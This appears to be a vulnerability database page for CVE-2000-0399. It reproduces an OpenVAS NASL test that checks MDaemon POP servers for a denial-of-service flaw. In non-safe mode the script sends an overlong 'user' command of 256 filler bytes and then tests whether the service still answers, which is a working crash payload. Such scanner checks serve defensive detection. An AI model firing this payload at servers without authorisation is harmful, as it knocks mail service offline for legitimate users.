The remote host is running the MDaemon POP server. It is vulnerable to a DoS attack by sending a too long 'user' command
Reporter | Title | Published | Views | Family All 5 |
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![]() | CVE-2000-0399 | 12 Jul 200004:00 | – | cve |
![]() | CVE-2000-0399 | 12 Jul 200004:00 | – | cvelist |
![]() | CVE-2000-0399 | 24 May 200004:00 | – | nvd |
![]() | MDaemon POP Server User Name Overflow DoS | 27 Sep 200400:00 | – | nessus |
![]() | MDaemon POP3 Server DoS | 3 Nov 200500:00 | – | openvas |
# OpenVAS Vulnerability Test
# $Id: mdaemon_mail_server_dos.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: MDaemon mail server DoS
#
# Authors:
# David Maciejak <david dot maciejak at kyxar dot fr>
# based on work from (C) Tenable Network Security
#
# Copyright:
# Copyright (C) 2004 David Maciejak
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "The remote host is running the MDaemon POP server.
It is possible to crash the remote service by sending a too long 'user'
command.
This problem allows an attacker to make the remote MDaemon server crash, thus
preventing legitimate users from receiving e-mails.";
tag_solution = "Upgrade to the newest version of this software";
# Ref: Cassius <[email protected]>
if(description)
{
script_id(14825);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(1250);
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_xref(name:"OSVDB", value:"1354");
script_cve_id("CVE-2000-0399");
name = "MDaemon mail server DoS";
script_name(name);
script_category(ACT_MIXED_ATTACK);
script_tag(name:"qod_type", value:"remote_banner");
script_copyright("This script is Copyright (C) 2004 David Maciejak");
family = "Denial of Service";
script_family(family);
script_dependencies("find_service.nasl", "sendmail_expn.nasl");
script_require_ports("Services/pop3", 110);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
#
# The script code starts here
#
include("pop3_func.inc");
port = get_kb_item("Services/pop3");
if(!port)port = 110;
if ( safe_checks() )
{
banner = get_pop3_banner ( port: port );
if ( ! banner ) exit(0);
if(ereg(pattern:".* POP MDaemon ([0-2]\.|0\.3\.[0-3][^0-9])", string:banner))
security_message(port);
exit(0);
}
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
banner = recv_line(socket:soc, length:4096);
if ( "MDaemon" >!< banner ) exit(0);
s = string("user ", crap(256), "\r\n");
send(socket:soc, data:s);
d = recv_line(socket:soc, length:4096);
s = string("pass killyou\r\n");
send(socket:soc, data:s);
close(soc);
soc2 = open_sock_tcp(port);
if(!soc2)security_message(port);
else close(soc2);
}
}
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